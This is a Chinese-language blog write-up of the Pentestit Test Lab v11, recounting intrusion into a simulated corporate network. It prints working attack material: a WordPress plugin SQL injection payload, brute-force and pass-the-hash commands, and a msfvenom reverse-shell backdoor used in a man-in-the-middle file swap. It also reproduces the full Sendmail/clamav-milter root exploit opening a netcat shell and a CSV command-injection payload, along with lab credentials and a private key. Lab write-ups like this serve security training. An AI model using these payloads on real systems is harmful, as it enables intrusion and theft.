🌙

Pentestit lab v11

继之前的Lab-9之后,这次完成了...😊

0x01 环境介绍

环境地址 官方给出了VPN的连接方式. 我这里采用Win10+OpenVpn(挂代理),再利用kali虚拟机进行实验. 环境示意图: 通过上面的示意图,我们可以知道,两个区域分别是THE MAIN OFFICETHE SECOND OFFICE,目前能够访问的只有192.168.101.10192.168.101.11. 使用nmap对其进行扫描.结果如下. 可以看到10的端口开放的比11的多,并且11的端口是ssh的连接端口,在没有任何用户信息的情况下,我选择去渗透10.

0x02 CRM

访问80端口,是一个wordpress的站点. 使用wpscan进行扫描. 可以看到扫描探测出可能有waf的存在,添加--random-agent继续进行扫描. 获取到kittycatfish这个插件的存在,寻找该插件的漏洞.可以使用searchsploit或者getsploit. 有注入的漏洞.漏洞地址 按照给出的payload并结合站点的路径进行测试.

1
http://192.168.101.10/wp-content/plugins/kittycatfish-2.2/base.css.php?kc_ad=31&ver=2.0

但是当尝试and 1=1and 1=2之后会发现页面并没有任何变化,然后在首页源码中发现和payload相似的URL. 把31修改为16再次进行测试,可以得到页面不同的返回结果了. 之后使用一些关键字进行测试,发现被waf给禁止了.面对未知的waf,选择去尝其它端口的突破.另一方面从拓扑图中可以看出,如果我们进入了THE MAIN OFFICE的话,这个waf也许在内网中就失效了.

访问88端口,是一个CRM的站点. 根据版本6.3.0,去寻找有没有漏洞. 发现有可以执行代码的漏洞,但是需要授权访问,所以我们得想办法先登录,测试万能密码无果之后,由于没有验证码,所以选择采用爆破的方式. 登陆之后,根据漏洞的描述,漏洞出现在上传Companylogo文件的时候可以修改文件后缀. 在上传的时候发现<?php被过滤了.可以使用<?进行绕过. 其它的替代方式

1
2
3
<?=
<script language="php">
<%=

接着在用户配置中收集到一些信息.

1
2
First Name:darthvader
admin-email:admin@test.lab

拓扑情况:

0x02 RDP

访问8080端口,是一个roundcube的站点. 使用之前收集到的邮箱和密码(First Name)登陆.登陆成功之后,发现邮箱中有一封邮件. 这里我们得到了Office 2中的tech的信息.紧接着连接上11服务器. 该服务器上安装了nmap,因此我们可以对192.168.13.1-3进行扫描. 结果表明三个服务器都打开了3389端口.分别将其端口转发到本地,使用xfreerdp进行连接.

1
2
ssh -L 3389:192.168.13.1:3389 -i office2.prkey tech@192.168.101.11 -p 2222
xfreerdp /v:127.0.0.1 -sec-nla /u:""

这里使用/u:''的原因是为了得到所有的用户. 这里我们发现arm554用户,接下来使用hydra或者crowbar进行3389的爆破.

python crowbar.py -d rdp -u arm554 -C john.txt -s 127.0.0.1/32 -v

得到结果之后进行远程连接. 进过一番寻找,并没有发现token,但是在用户目录中,我们可以发现有另外一个用户user的存在,而且没有访问权限. 通过对系统信息的查看,发现没有打上任何的补丁,可以进行提权. 提权可以选择MS16-032或者MS15-051,第一个是国外的wp采用的提权方式,但是当我在进行测试的时候,由于远连过去之后很卡,再加上在导入模块的时候出错,不被允许执行脚本,并且powershell策略的修改是需要管理员权限的,所以并没有提权成功.因此我选择了第二种方式进行提权,将arm554添加进管理员组,再次访问user用户文件夹,在Desktop文件夹下面找到了token. 然后发现user用户文件夹下面有一个和其它用户有关的文件夹.并且每个用户的文件夹中有一个文件.

1
arm440|arm441|arm550|arm553|arm554|arm664|arm672

可以看出其中是一段hash值,其它的用户文件都是一样,作为信息收集起来. 拓扑情况:

0x03 SITE

现在回到192.168.101.11上. 使用ps aux查看服务器进程. 可以看出其中openvpn服务正在运行.查看/etc/openvpn/server.conf. 发现是一个远程连接192.168.101.10的openvpn配置文件.使用openvpn直接连接失败. 对文件没有访问的权限,这里我们可以选这提权或者是爆破,不过根据官方的尿性不可能让你有个啥root权限,所以这里我选择OpenVPN-Brute-Forcer爆破;crowbar也是可以爆破的.爆破的时候需要对server.conf格式进行修改. server2.conf.opvn_dict中格式是Office-2:xxxxx.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
client
dev tun
proto tcp
remote 192.168.101.10 1194

auth-user-pass
resolv-retry infinite
persist-key
persist-tun
comp-lzo
verb 3

<ca>
-----BEGIN CERTIFICATE-----
MIIEXjCCA0agAwIBAgIJAKYiQCcisQFFMA0GCSqGSIb3DQEBCwUAMHwxCzAJBgNV
BAYTAlJVMQ8wDQYDVQQIEwZNb3Njb3cxDzANBgNVBAcTBk1vc2NvdzERMA8GA1UE
ChMIQ29tYXBhbnkxCzAJBgNVBAsTAklUMRkwFwYDVQQDExBjb21wYW55LnRlc3Qu
bGFiMRAwDgYDVQQpEwdFYXN5UlNBMB4XDTE3MDQwMjE0NDIzMFoXDTI3MDMzMTE0
NDIzMFowfDELMAkGA1UEBhMCUlUxDzANBgNVBAgTBk1vc2NvdzEPMA0GA1UEBxMG
TW9zY293MREwDwYDVQQKEwhDb21hcGFueTELMAkGA1UECxMCSVQxGTAXBgNVBAMT
EGNvbXBhbnkudGVzdC5sYWIxEDAOBgNVBCkTB0Vhc3lSU0EwggEiMA0GCSqGSIb3
DQEBAQUAA4IBDwAwggEKAoIBAQDdcIqS/FA1M8NhiFfiQFKdxUMePwHK2UgmshXS
48Jeshl7qjHAfLQl2Pex83gbNWud9av4yp1H4m3iwGaqTQPaxgOmzoV6vMN3Hnt7
Vk9eqTpGaODFC6IrSrnE9bYL7E90ra0PWHZY9dshup/L+uasg7OrUHHQhXV6e5GR
C0jAmqUp8Wj61DZDuyvkQE8nDUUdxEObUgdZF5dq4aHKkBFL1iC3+f+aSA6//QTM
kNYzrGv2s0cpkZI8zV4ZT+YgXgWMBJfszIU1AFegNLfksgpyR+IP3YjjkQ4s6wQd
HBTkWsLSf4zusgTYkHpG3mP0z4o7/r4RiEywrJidgE5cN2wbAgMBAAGjgeIwgd8w
HQYDVR0OBBYEFONOp29lTyyDD8E1wzF+rOl1LAlcMIGvBgNVHSMEgacwgaSAFONO
p29lTyyDD8E1wzF+rOl1LAlcoYGApH4wfDELMAkGA1UEBhMCUlUxDzANBgNVBAgT
Bk1vc2NvdzEPMA0GA1UEBxMGTW9zY293MREwDwYDVQQKEwhDb21hcGFueTELMAkG
A1UECxMCSVQxGTAXBgNVBAMTEGNvbXBhbnkudGVzdC5sYWIxEDAOBgNVBCkTB0Vh
c3lSU0GCCQCmIkAnIrEBRTAMBgNVHRMEBTADAQH/MA0GCSqGSIb3DQEBCwUAA4IB
AQBYVZ+3ZjvMjOjOk8zgmMWHaf153ptbFf53c1YtxmDFKWbDo7mG0JmN318T+Kh/
/fxNOha1a2WdQ97yPCR8llz08ZIWLm2n38JdhWCuSZPsozYIGOQX1rZ4lj+8T0kb
hF1vr0KOCI6ODTwPEPJwAd9mcdRQK0Jd52WvuvdGQKUC8DPPDo4B2VHAn8KIDIJp
b+mecHvvxGTSzo4k5nz4bdpYit9i9HayvJ3uIjt05jciQkp5bi5YUXEpq0cspNLr
awoYzU/p/oTvFG8sn8EWAl6pPonQUCGka7GRG2Q9Na9QysMG8H5hITZ7d5VngyrJ
vwj14awsaPvMoIgk8C8Zrkuu
-----END CERTIFICATE-----
</ca>

这里顺便给出crowbar对server.conf格式的修改.

1
python crowbar.py -b rdp -u Office-2 -C passwd.txt -s 192.168.101.10/32 -v -p 1194

server.conf.其中ca.cart文件就是证书.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
client
dev tun
proto tcp
#remote 192.168.101.10 1194
#remote-cert-tls server

#####
#ping 3
#ping-restart 60
#####

script-security 2

up    /etc/openvpn/update-resolv-conf
down    /etc/openvpn/update-resolv-conf

## auth for Office-2 user
#auth-user-pass

resolv-retry infinite
persist-key
persist-tun
comp-lzo
ca /root/Test-v11/ca.crt

这样我们就可以在本地连接上192.168.101.10的openvpn服务器. 使用nmap对172.16.0.0的网段进行存活主机检测.

1
nmap -v -sn -PE -n --min-hostgroup 1024 --min-parallelism 1024 172.16.0.0/24

对存活的主机进行扫扫描. 通过访问测试发现172.16.0.11就是192.168.101.10的wordpress站点. 同时根据kittycatfish可以构造payload获取token.

1
http://172.16.0.11/wp-content/plugins/kittycatfish-2.2/base.css.php?kc_ad=16+union+select+0x6b635f61645f637373,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=0x746c5f746f6b656e&ver=2.0

拓扑情况:

0x04 AD

根据172.16.0.10的扫描,可以看到开放了445端口.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
Nmap scan report for 172.16.0.10
Host is up (1.2s latency).
Not shown: 983 filtered ports
PORT      STATE SERVICE      VERSION
53/tcp    open  domain       Microsoft DNS
88/tcp    open  kerberos-sec Microsoft Windows Kerberos (server time: 2017-07-01 04:30:24Z)
135/tcp   open  msrpc        Microsoft Windows RPC
139/tcp   open  netbios-ssn  Microsoft Windows netbios-ssn
389/tcp   open  ldap         Microsoft Windows Active Directory LDAP (Domain: Test.Lab, Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds (workgroup: TESTLAB)
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http   Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3268/tcp  open  ldap         Microsoft Windows Active Directory LDAP (Domain: Test.Lab, Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
3389/tcp  open  ssl          Microsoft SChannel TLS
49154/tcp open  msrpc        Microsoft Windows RPC
49155/tcp open  msrpc        Microsoft Windows RPC
49157/tcp open  ncacn_http   Microsoft Windows RPC over HTTP 1.0
49158/tcp open  msrpc        Microsoft Windows RPC
49159/tcp open  msrpc        Microsoft Windows RPC

利用MS17-010进行用户测试,之后使用smbclient进行连接,之前获得的用户hash在这里就可以派上用场了.(test.lab可以从扫描的结果中得知) 发现用户arm554,进行连接.

1
smbclient -U test/arm554%6361DEA164EE8FE91FE7B117FBC9CA5E --pw-nt-hash \\\\172.16.0.10\\files

这样就拿到了token,同时在network_test.txt文件中给出了一些有用的信息.

1
2
Hi, mate! Need to test ARP-table in DIR subnet.
I'll install intercepter admin:77_GrantedSuperAdmin_77

这里给出之后DIR区域的登陆用户和密码. 拓扑情况:

0x05 CUPS

接着我们访问cups. 选择local storage,使用万能密码成功登陆. 发现一个很奇怪的图片名字,16进制解码之后,去除未知字符就是token了. 继续往下看能发现一张邮件截图. 这里有一个172.16.0.252的用户morgan的私钥.这里需要使用识图来获取key...

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEA4CxmKK2/kvV0+srp24bVZm+yYvCz+rvgHHxX1w7F0oD8aUDI
won79K9XpntFDPUvtJRMg9WqK/zKUwLsMQLGWT66PT4GVbQw4Nr56rOrBIuag/qg
o9WcX0AfIyFYFCNz0TnLfRXSDcSQY0CRK8WfKx5c8uP2kudtzAGv5GQCpSjM2uNV
shOu7xmgo/AMUQvPi8kvD/gAme9G8WkTgpVpAwlsthjxQ9fEO6abHHkjbGGec0O8
4T7Bo2nU8bHjr6Jd+dzUAvytblG1yNvGIybAFAsVqUHjbt9wGZgFKr1kA+3ZCbyF
qFZZ37dpZr2grZXwzlCtPUJGuMfCq7N0ZhmcAwIDAQABAoIBAQDCXPx+TJcLXhJ8
164HjlI8LKAoNLZ3sKlRSWYHqmFOcFNpFqh6M5Tmw5hlWf+2imdAVEw7Cegvl0/8
xU3v+I3tFvv22W44pLC0ZGfHXNvsZvYjdAwPwMeBtmDI3sI1Q7/JKikKXP7wvPrL
c1Hq979XbU39sjU5jbqe5N+SUDwS4Tu79L0uXehnqvCSlyIU9joDhvW87DeaLRaQ
wwkKR9gnPtiKebZ73VGParJ42CZlRgfEOvoLWUk+YrhRfZ9r4uva0IHbZ1LhqNcL
k0OlKEDUDzuju0/YwgBSZVSrhkCAnCnipsxQMc4g2aytPOTdKz4BtF+cZV/rXhyM
kSPIeh1xAoGBAPJfcCQWqsq/dwwOC9I9jWj4W9xAFPbaPSq1oGwNr0ugZ/4DZLGe
glGte8iG/Tc1Lb1Ege2dYPRR5OeFhyo8tADPKleFvDBYGN2asf4JirljxrW5F+ON
q5paXqjbaBKk/Z6f08UlwxjSHRHOWqEvYZkm5bAxrufNKBVpwVWHU6eNAoGBAOzH
AryHBdo45qLnzJR87zDftNNrualVmhWu+h+I7zj4hr52gM/TheHL/ODJZCyZU3vt
7ncDjUM91xwh63vkCiByEYk4vTGnmaj9brmndracJ7jwwSUn/YqPj0D3yD0lrpxd
PLn0c1ic5jaoTSWZN748PoPnP+CPvhjQYvxX5OXPAoGALmnEScTlc+nyXCaccOhE
miNlQ+opmZP1PqaFT+vw876F64iu0ayu/AEiwSXIe7f9SE9EKkKG/IJqOUPCvH3f
YoBIdXUwsnlMWbNz/lfJbvMCbG5Detn4UJiZo/BQH7Hht2mX3hr7H1etJWnExTUT
lYZzWahI/C23TVJxKXW+uUkCgYEAnLDOhMit/M3vAxt27UUIXUWNuuPtSmH9yB+1
cq0B8qe1M9HkSKRoUxbVUES2QDVvY/H+/0+gakFAW2OvHJu6f+I87JxZx8RsEcM1
RTMngo0wVFku2FHwnYOHf6z6HE0VknC5QS4eLyQVzVHvS9RraT8g99VPFmLKoE43
U1svJU0CgYAecYtH3ZvIwPA85sTuTkKAGMmvRxzPnQkyjUF9BwN+B1mfL4uZyJVy
VVWhCwXf/h9G3fKzuV0m0Dz6O7r5DqRqs0uCNbxPaS8qWPcRckwV2Y9htMjXLtXU
nOV4UZBbQSZb/AoSFdcCBjonbudkiAxzm0STdiQ92kZNavvfZAjXQw==
-----END RSA PRIVATE KEY-----

拓扑情况:

0x06 Director

接着使用刚刚获得的morgan的私钥登陆到172.16.0.252上. 查看网卡情况. 这里可以访问三个网段,并且安装了nmap,首先对Director所在的区域进行扫描. 发现三台主机都开启了3389端口,可以利用之前在AD中获得的用户名和密码进行连接尝试. 我这里使用sshuttle将我本地流量全部转发到172.16.0.252上.这已经是第三层代理了.😅 紧接连接3台主机的3389端口. 发现只有192.168.12.2的3389能够连接上.

1
xfreerdp /v:192.168.12.2 /u:admin /p:77_GrantedSuperAdmin_77

在我的文档中找到一个todo的文件. 这里面有一个crontab的记录,并且都是对未知的主机进行的操作. 然后继续翻文件,在C盘的soft文件中看到了Intercepter-NG. 使用该工具进行一发扫描. 这里我们的目标是具有token的192.168.12.1,所以选择它作为目标,192.168.12.3作为网关进行嗅探.首先可以在请求列表中添加过滤规则port not 3389,以便更好的找打http请求. 这里我发现192.168.12.1向192.168.12.3反复请求了一个quake3.exe. 于是我们可以利用中间人攻击,将quake3.exe替换成一个反弹shell的后门. 使用msfvenom生成一个exe的后门.

1
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.12.2 LPORT=443 -f exe > quake3.exe

之后将生成的quake3.exe放到Intercepter-NG的目录下,然后开始注入. 之后根据提示把SSL勾选上,之后开始使用soft下的netcat进行端口监听.(这个地方卡了好久,一直没有反弹回来,看了多个wp对比,才发现可行的方法.) 在漫长的等待中(卡的快睡着了...),终于返回了shell,并且还得到了一个192.168.11.1的用户remote的私钥. 拓扑情况:

0x07 Connect

再获取了remote的私钥之后,连接上去. 这里出现了两个主机的供我们选择,Srv1代表172.16.0.16,Srv2代表192.168.10.1,并且都是以aengieer登录的.这里我们虽然登陆上了192.168.11.1的服务器,服务器提供两个选择服务器,而并不是本身的服务器,这里我们尝试看看在选择的时候有没有什么突破口. 首先一个不存在的服务器名. 发现可以返回错误提示,尝试获取用户名重定向到错误输出. 这里我们可以尝试返回一个shell,经过测试发现/bin/dash可以成功执行. 我们先去/opt/gh中,看看这个服务器选择的实现方式. 查看gh.pl脚本,其中有这么一行. 说明remote用户使用了私钥去连接另外两台服务器,因此我们也可以利用remote用户的私钥去链接. 我们使用私钥连接192.168.10.1.查看.bash_history文件.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
cd
tcpdump
/usr/sbin/tcpdump
/usr/sbin/tcpdump --help
/usr/sbin/tcpdump -i eth0 -c 2
which gcc
which ruby
ruby -v
exit
cd /dev/shm/
wget 192.168.11.3/admin
env
set http_proxy=""
wget 192.168.11.3/admin
export http_proxy=""
wget 192.168.11.3/admin
wget 192.168.11.3/_admin/admin
wget 192.168.11.3/_admin/admin/
ruby -v
ncat -klvp 7777
ncat -klvp 8888
ncat -klvp 9999
cd
exit
cd /dev/shm
ls
perl ngxbrt.pl
perl ngxbrt.pl 192.168.11.3 80 192.168.10.1 8888
exit
ncat -klvp 8888
exit
cd /dev/shm
perl ngxbrt.pl 192.168.11.3 80 192.168.10.1 8888
exit
cd /tmp
ls -la
cat ~/.bash_history
clear
nc -nvlp 2020
/usr/sbin/tcpdump -i eth0 -A '' -w /var/tmp/dump.pcap
ls
exit
ls -la
nc -nvvlp 1234
exit
nmap -v -n -p- 192.168.10.2 -sV
nmap -v -n -p- 192.168.10.2 -sV -Pn
nmap -v -n -p- 192.168.10.2 -sV -Pn -T4
/usr/sbin/tcpdump 'src 192.168.10.2'
/usr/sbin/tcpdump 'src 192.168.10.2 || dst 192.168.10.2'
/usr/sbin/tcpdump 'src 192.168.10.5 || dst 192.168.10.5'
telnet 192.168.11.5
telnet 192.168.11.5 25
nc -nvlp 2020
sudo -l
ncat -klvp 8888
cd /dev/shm
cat ngxbrt.pl | nc 172.16.0.16 10100
ncat -klvp 8888
sudo -l
sudo tcpdump -A -i eth0 -s 1500 -c 1000 port not 22 and host not 192.168.11.1 and port not 53 and host not 92.168.56.2 and not arp and port not 123
ls

有些操作需要注意

1
2
3
wget 192.168.11.3/admin //说明192.168.11.3有一个web站点
nc -vlnp 2020 //监听2020端口,注意之前的todo.txt文件中有一个crontab的操作就是请求了2020端口
/usr/sbin/tcpdump -i eth0 -A ''  -w /var/tmp/dump.pcap //存在一个流量包文件

首先对2020端口进行一个监听,发送过来的请求是ftp客户端的. 因为是ftp的连接请求,所以我们尝试把响应状态码返回看看有什么变化没有. 这样就获得了token.关于状态码 拓扑情况:

0x08 OWNCLOUD

接下来分析那个流量包文件,保存到本地之后,使用wireshark进行流量分析. 发现在登陆192.168.10.3的过程中,存在明文传输的漏洞. 使用用户名和密码登陆上owncloud. 发现其中有一个kdbx的文件.

kdbx文件介绍 通过KeePass密码安全创建的数据文件称为KDBX文件,它们通常所说的KeePass的密码数据库。这些文件包含密码的加密数据库,其中如果用户设置一个主密码,并通过主密码访问他们,他们只能查看。

所以要先获取一个主密码,破解的方式看这里.这个地方破解使用rockyou.txt字典,但是这个字典超级大,所以要花很长的时间. 得到主密码之后在这里上传kdbx文件进行破解. 最后的得到token. 拓扑情况:

0x09 HELPDESK

接下来就访问192.168.11.3的web站点. 通过一些简单的信息收集.我们可以知道

1
2
有user/oper_1/oper_2/admin等用户
其中密码之前存在hash的问题

根据参考的wp来看,都是向官方要了提示,官方给的提示是Magic Hash,这是一个很有意思的东西,因为php的==会将某些0e开头的hash值直接和0等价.根据一些加密的习惯,将目光停留在sha1和md5上.

md5 240610708 0e462097431906509019562988736854
sha1 10932435112 0e07766915004133176347055865026311692244

之后本来以为会直接把密码修改成加密前的数据即可,但是这还有一个天大的坑.这里的加密过程是将用户名和密码进行拼接作为原始数据进行加密的.关于怎么意识到这个问题的,我询问了下英文版wp的作者,他的回复是说官方给出的提示关于splitting的,所以他就开始慢慢尝试将md5和sha1分割开来再赋值给用户名和密码.俄文版的wp也没说出具体缘由. 最后的payload,注意这个地方是在admin的登陆页面登陆.

1
http://192.168.11.3/_admin/login.php?login=10932&password=435112

最后在Remove tickets中找到了token,其中还有关于ssh的用户密码. 拓扑情况:

0x10 SCREEN

在拿到关于192.168.11.3的ssh密码之后,使用其登陆. 但是在执行命令之后,发现被rbash限制了. 关于绕过的方式还是很多的,这里我采用pytho的方式进行绕过.

1
python -c "import pty; pty.spawn('/bin/bash')"

/home目录下还有另外一个用户tester,并且其中有token文件,但是权限被限制了,其中一个check.pl有点引人注目. 文件内容如下

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
#!/usr/bin/perl -w

if (!-l $ARGV[0] && -f $ARGV[0]) {
open $file1, $ARGV[0];
$fname = <$file1>;
chomp($fname);
open ($file2, $fname) or die("$!");
open $file3, '>>', "/tmp/testlog";
$line = <$file2>;
chomp ($line);
print $file3 $line, "\n";
close $file2;
close $file3;
close $file1;
unlink($ARGV[0]);
sleep(1);
open $file1, '>', "/tmp/testlog";
close $file1;
}
else {
exit(0);
}

之后在crontab的目录中发现一处细节. 发现check.pl文件会去寻找/build/log下的文件.接着我们来到build目录. 可以发现log目录的权限也被限制了,并且还存在utmp用户组. 这里还有个目录screen,题目的名字也叫SCREEN,进去瞅瞅. 在里面发现一个screen的二进制文件,并且也是utmp用户组的,最关键的是有一个s权限,关于linux的s权限,我之前的文章已经介绍过了. 那么思路来了,使用screen向log中写入一个文件,文件的内容就是读取的文件路径. screen写入文件可以使用日志文件. 之后token就会返回在命令行. 拓扑情况:

0x11 ACCESS CONTROL

接着我们回到192.168.11.1服务器上,另外一个可以选择的服务器是172.16.0.16.我们使用aengineer连接. 并且可以在.bash_history中获取一些信息.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
ls
ssh-keygen
cd .ssh/
ls
rm id_rsa*
vi authorized_keys
cd .ssh
ls
ls -l
cd .ssh
ls
vi authorized_keys
id
who
exit
ls -l
ls -la
cd .ssh
ls
cat authorized_keys
vi authorized_keys
cat authorized_keys
w
who
finger
who
cd /var/www/html/
cat login.php
cd /var/www/html/
cat token.sec
cd /var/www/
ls
cd html
pwd
ls
ls -l
cat token.sec
cat login.php
cat ftpclient.py
cat parse.php
iptables -l

紧接着我们进入到/var/www/html目录下. 发现了token,但是被做了权限限制,其中还有ftpclient和一些php文件. 查看php文件.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
//login.php
$usr="admin@11.lab";
$pwd="admin";

$username=$_POST['email'];
$password=$_POST['password'];

if (($username==$usr) && ($password==$pwd)) {
header('Location: parse.php?auth=asdfgtgrfedQWERsdfd');
}else{
header('Location: index.html');
}
----------------------------------
//parse.php
if ($_GET["auth"] != asdfgtgrfedQWERsdfd) {
header('Location: index.html');
exit();
}

$row = 1;
if (($handle = fopen("db.csv", "r")) !== FALSE) {
echo '<link rel="stylesheet" href="css/main.css" type="text/css">';
echo '<div id="wrapper" style="text-align: center">';
echo '<div id="yourdiv" style="display: inline-block;">';
echo '<table border="1">';
while (($data = fgetcsv($handle, 1000, ";")) !== FALSE) {
$num = count($data);
if ($row == 1) {
echo '<thead><tr>';
}else{
echo '<tr>';
}
for ($c=0; $c < $num; $c++) {
//echo $data[$c] . "<br />\n";
if(empty($data[$c])) {
$value = "&nbsp;";
}else{
$value = $data[$c];
}
if ($row == 1) {
echo '<th>'.$value.'</th>';
}else{
if ($c==2 or $c==3) {
$converted = exec('date -d @'.$value);
echo '<td>'.$converted.'</td>';
}else{
echo '<td>'.$value.'</td>';
}
}
}
if ($row == 1) {
echo '</tr></thead><tbody>';
}else{
echo '</tr>';
}
$row++;
}
echo '</tbody></table>';
echo '</div>';
echo '</div>';
fclose($handle);
}

这里我们可以直接登陆进去,然后在parse.php中存在这么一行.

1
$converted = exec('date -d @'.$value);

这里是有一个命令执行漏洞的,并且web用户就是www-data用户,所以我们想能不能控制value的输入,从代码中可以看出,value的来源是来自于db.csv文件的,但是db.csv文件的权限是为root所有,所以没有办法去直接通过修改db.csv文件控制value.那就还有ftpclient.py没有看.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
#!//usr/bin/python


from ftplib import FTP
import sys
ftp = FTP()
ftp.connect('172.16.0.17','21',3)
ftp.login('acontrol','IControlEverything')
with open('/var/www/html/db.csv', 'w+b') as f:
res = ftp.retrbinary('RETR db.csv', f.write)
if not res.startswith('226 Transfer complete'):
print('Downloaded of file {0} is not compile.'.format(orig_filename))
os.remove(local_filename)
ftp.quit()

从上面可以看出db.csv来自于172.16.0.17,如果可以控制172.16.0.17中的db.csv文件就能控制value了.接着使用ftp的用户名和密码进行登陆. 发现这里仅仅只有一个可读权限,那么到这里就卡住了.接下就要靠经验了,如果我们能登陆到172.168.0.17上,或许这个问题就迎刃而解了,但是又从哪里来的凭证呢?手中的aengineer可以登陆172.16.0.16,那万一就可以登录172.16.0.17呢...有时候要相信神秘的力量...(如果这个地方有更好的解释,请call我) 发现db.csv文件的拥有者就是aengineer,这或许就是个考点,接着就是向db.csv中写入payload了,这里需要注意的是系统命令的位置写在第二列或则第三列都ok.

1
while true;do python -c 'print "Name;Surname;In;Out;ID\nHelen;Fergerson;1497256200.0| chmod 777 /var/www/html/token.sec;1497288600.0;88642"' > db.csv;sleep 3;done

接着就拿到了token. 拓扑情况:

0x12 CLAMAV

又回到192.168.11.1.这下可以利用的信息都利用完了,我们使用nmap192.168.11.3-5扫描一发. 发现192.168.11.5上还有一个25端口. 使用nc来监听一下. 题目的名字是CLAMAV,而这个东西是邮件系统的一个安全程序. 在exploit-db上找到了一个RCE可使. 但是这个payload需要进行修改,或或者你可以手动输入命令.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
### black-hole.pl

### Sendmail w/ clamav-milter Remote Root Exploit

### Copyright (c) 2007 Eliteboy

########################################################

use IO::Socket;

print "Sendmail w/ clamav-milter Remote Root Exploit\n";
print "Copyright (C) 2007 Eliteboy\n";

if ($#ARGV != 0) {print "Give me a host to connect.\n";exit;}

print "Attacking $ARGV[0]...\n";

$sock = IO::Socket::INET->new(PeerAddr => $ARGV[0],
PeerPort => '25',
Proto    => 'tcp');

# SBridgens added this in to ensure correct response from the host!

print "sleeping 10 seconds to allow response";
sleep(10);
print $sock "mail from: <>\r\n";

print $sock "ehlo you\r\n";
print $sock "mail from: <>\r\n";
print $sock "rcpt to: <nobody+\"|/bin/nc -e /bin/bash 192.168.10.1 1234\"@localhost>\r\n";
print $sock "data\r\n.\r\nquit\r\n";

while (<$sock>) {
print;
}

# milw0rm.com [2007-12-21]

或者(手动输入)

1
2
3
4
5
ehlo you
mail from:<>
rcpt to: <nobody+"|/bin/nc -e /bin/bash 192.168.10.1 1234"@localhost>
data
.

这个里的监听貌似只在192.168.10.1上可以成功. 这里的.bash_history不能查看,也没有翻到token,只能怀疑token在/root目录中,但是需要提权,直接提权不靠谱,在进程中可以找到一个有意思的进程. 这个ossecs是一个入侵检测系统.这个东西有一个本地提权的漏洞. 紧接着利用这个漏洞,修改/root文件权限,从而拿到了token. 拓扑情况(到这里就拿到了所有的token):

总结

整个实验做下来,熟悉整个渗透的思路很重要,会碰到一些很有意思的知识点,像发送ftp响应码smb通过hash登陆Magic Hashs权限的利用Linux限制的绕过等;也包含了常见的手段,像流量包分析爆破中间人攻击等,所以综合性还是很强.最后很感谢英文wp的作者很认真且仔细的回答了我的问题. After all,people are not perfect..

参考

各个版本都可以看看,对照思路也是很重要的

(ง •_•)ง 2017-09-30 14:57:03 星期六

updatedupdated2020-01-262020-01-26